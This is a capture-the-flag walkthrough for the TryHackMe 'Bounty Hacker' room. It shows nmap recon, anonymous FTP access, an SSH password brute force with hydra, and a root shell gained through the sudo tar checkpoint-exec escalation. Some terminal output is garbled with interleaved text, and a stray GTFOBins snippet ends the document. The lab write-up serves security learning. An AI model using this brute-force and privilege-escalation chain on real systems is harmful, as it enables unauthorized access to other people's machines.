

# Bounty Hacker VM Walkthrough

By

## David Ketterman (K1t5un3)

Link: <https://tryhackme.com/room/cowboyhacker>

### Recon

First run Nmap to determine open service ports. Please keep in mind the IP address changes every time it is deployed.

```
kali㉿kali:~$ nmap -A -Pn 10.10.2.210
Starting Nmap 7.80 ( https://nmap.org ) at 2020-07-31 12:40 EDT
Nmap scan report for 10.10.2.210
Host is up (0.11s latency).
Not shown: 967 filtered ports, 30 closed ports
PORT      STATE SERVICE VERSION
21/tcp    open  ftp      vsftpd 3.0.3
|  ftp-anon: Anonymous FTP login allowed (FTP code 230)
|  Can't get directory listing: TIMEOUT
|_ftp-syst:
|_STAT:
FTP server status:
|   Connected to ::ffff:10.8.2.181
|   Logged in as ftp
|   TYPE: ASCII
|   No session bandwidth limit
|   You were boasting on and on about your elite hacker skills in
|   Session timeout in seconds is 300 they'd take you up on claims! Prove your status is more than
|   Control connection is plain text
|   Data connections will be plain text pters & beef in your future!
|   At session startup, client count was 2
|   vsFTPD 3.0.3 - secure, fast, stable
|_End of status
22/tcp    open  ssh      OpenSSH 7.2p2 Ubuntu 4ubuntu2.8 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   2048 dc:f8:df:a7:a6:00:6d:18:b0:70:2b:a5:aa:a6:14:3e (RSA)
|   256 ec:c0:f2:d9:1e:6f:48:7d:38:9a:e3:bb:08:c4:0c:c9 (ECDSA)
|_  256 a4:1a:15:a5:d4:b1:cf:8f:16:50:3a:7d:d0:d8:13:c2 (ED25519)
80/tcp    open  http     Apache httpd 2.4.18 ((Ubuntu))
| http-server-header: Apache/2.4.18 (Ubuntu)
| http-title: Site doesn't have a title (text/html).
Service Info: OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 43.97 seconds
kali㉿kali:~$ █
```

From here we can determine TCP ports 21,22, and 80 are open and are the default ports for FTP, SSH, and HTTP. FTP has Anonymous login enabled which allows us read only access. Given this information we log in to find 2 files, locks.txt and task.txt.

```
kali㉿kali:~$ ftp 10.10.2.210
Connected to 10.10.2.210.
220 (vsFTPD 3.0.3)
Name (10.10.2.210:kali): Anonymous
230 Login successful.
Remote system type is UNIX.
Using binary mode to transfer files.
ftp> ls
200 PORT command successful. Consider using PASV.
150 Here comes the directory listing.
-rw-rw-r--    1 ftp      ftp          418 Jun 07 21:41 locks.txt
-rw-rw-r--    1 ftp      ftp          68 Jun 07 21:47 task.txt
226 Directory send OK.
ftp> [REDACTED]
```

The file “locks.txt” looks like a password list which can be used to brute force the SSH server. However, we need a username to test. Checking the file “task.txt” shows a possible username *lin*.

```
kali㉿kali:~$ cat locks.txt
rEddrAGON
ReDdr4g0nSynd!cat3
Dr@g0n$yn9icat3
R3DDr460NSYndIC@Te
ReddRA60N
R3dDrag0nSynd1c4te
dRa6oN5YNDiCATE
ReDDR4g0n5ynDIc4te
R3Dr4g0n2044
RedDr4gonSynd1cat3
R3dDRaG0Nsynd1c@T3
Synd1c4teDr@g0n
reddRAg0N
REddRaG0N5yNdIc47e
Dra6oN$yndIC@t3
4L1mi6H71StHeB357
rEDdragOn$ynd1c473
DrAgoN5ynD1cATE
ReDdrag0n$ynd1cate
Dr@g0n$yND1C4Te
RedDr@gonSyn9ic47e
REd$yNdIc47e
dr@goN5YNd1c@73
rEDdrAGOnSyNDiCat3
r3ddr@g0N
ReDSynd1ca7e
kali㉿kali:~$ cat task.txt
1.) Protect Vicious.
2.) Plan for Red Eye pickup on the moon.

-lin
kali㉿kali:~$ [REDACTED]
```

## System Hacking

We then use Hydra to brute force the SSH login to determine the password. After the session is complete the password has been found for the user *lin*.

```
kali㉿kali:~$ hydra -l lin -P locks.txt -t 20 -I ssh://10.10.2.210
Hydra v9.0 (c) 2019 by van Hauser/THC - Please do not use in military or secret service organizations, or for illegal purposes.

Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2020-07-31 12:51:27
[WARNING] Many SSH configurations limit the number of parallel tasks, it is recommended to reduce the tasks: use -t 4
[WARNING] Restorefile (ignored ...) from a previous session found, to prevent overwriting, ./hydra.restore      1h 44m 42s
[DATA] max 20 tasks per 1 server, overall 20 tasks, 26 login tries (l:1/p:26), ~2 tries per task
[DATA] attacking ssh://10.10.2.210:22
[22][ssh] host: 10.10.2.210  login: lin  password: [REDACTED]
1 of 1 target successfully completed, 1 valid password found
[WARNING] Writing restore file because 9 final worker threads did not complete until end.
[ERROR] 9 targets did not resolve or could not be connected
[ERROR] 0 targets did not complete
Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2020-07-31 12:51:31
kali㉿kali:~$
```

Login using SSH to access Lin's account. We should have access to the "user.txt" file and access to its contents.

```
kali㉿kali:~$ ssh lin@10.10.2.210
The authenticity of host '10.10.2.210 (10.10.2.210)' can't be established.
ECDSA key fingerprint is SHA256:fzjl1gnXyEzi9px29GF/tJr+u8o9i88XXfjggSbAgBE.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '10.10.2.210' (ECDSA) to the list of known hosts.
lin@10.10.2.210's password:
Welcome to Ubuntu 16.04.6 LTS (GNU/Linux 4.15.0-101-generic x86_64)

 * Documentation:  https://help.ubuntu.com   Deploy the machine.
 * Management:    https://landscape.canonical.com
 * Support:        https://ubuntu.com/advantage   Answer needed

83 packages can be updated.
0 updates are security updates.

Last login: Sun Jun  7 22:23:41 2020 from 192.168.0.14
lin@bountyhacker:~/Desktop$ ls
user.txt
lin@bountyhacker:~/Desktop$ ls -al
total 12
drwxr-xr-x  2 lin lin 4096 Jun  7 17:06 .
drwxr-xr-x 19 lin lin 4096 Jun  7 22:17 ..
-rw-rw-r--  1 lin lin    21 Jun  7 17:06 user.txt
lin@bountyhacker:~/Desktop$ cat user.txt
THM{[REDACTED]}
lin@bountyhacker:~/Desktop$
```

## Recon for Privilege Escalation

We now need to gain access to the root account. First let's check to see if Lin has access to the sudo command by using “sudo -l”. This command lists out all programs that can use sudo. Given the password we can use sudo on the tar command.

```
lin@bountyhacker:~/Desktop$ sudo -l
[sudo] password for lin:
Matching Defaults entries for lin on bountyhacker:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin
User lin may run the following commands on bountyhacker:
    (root) /bin/tar
lin@bountyhacker:~/Desktop$
```

## Privilege Escalation

The tar command is a common Linux program therefore we should check the website GTFObin for privilege escalation commands. The command to allow privilege escalation using the sudo command is found in <https://gtfobins.github.io/gtfobins/tar/#sudo>. Using the command “sudo tar -cf /dev/null /dev/null --checkpoint=1 --checkpoint-action=exec=/bin/sh” we gain access to the root account and the *root.txt* file.

```
lin@bountyhacker:~/Desktop$ sudo tar -cf /dev/null /dev/null --checkpoint=1 --checkpoint-action=exec=/bin/sh
tar: Removing leading `/' from member names
# cd /root
# cat root.txt
This only works for GNU tar.
THM{[REDACTED]}
# whoami
root
# LFILE=file_to_read
tar xf '$LFILE' -I '/bin/sh -c "cat 1>&2"'
```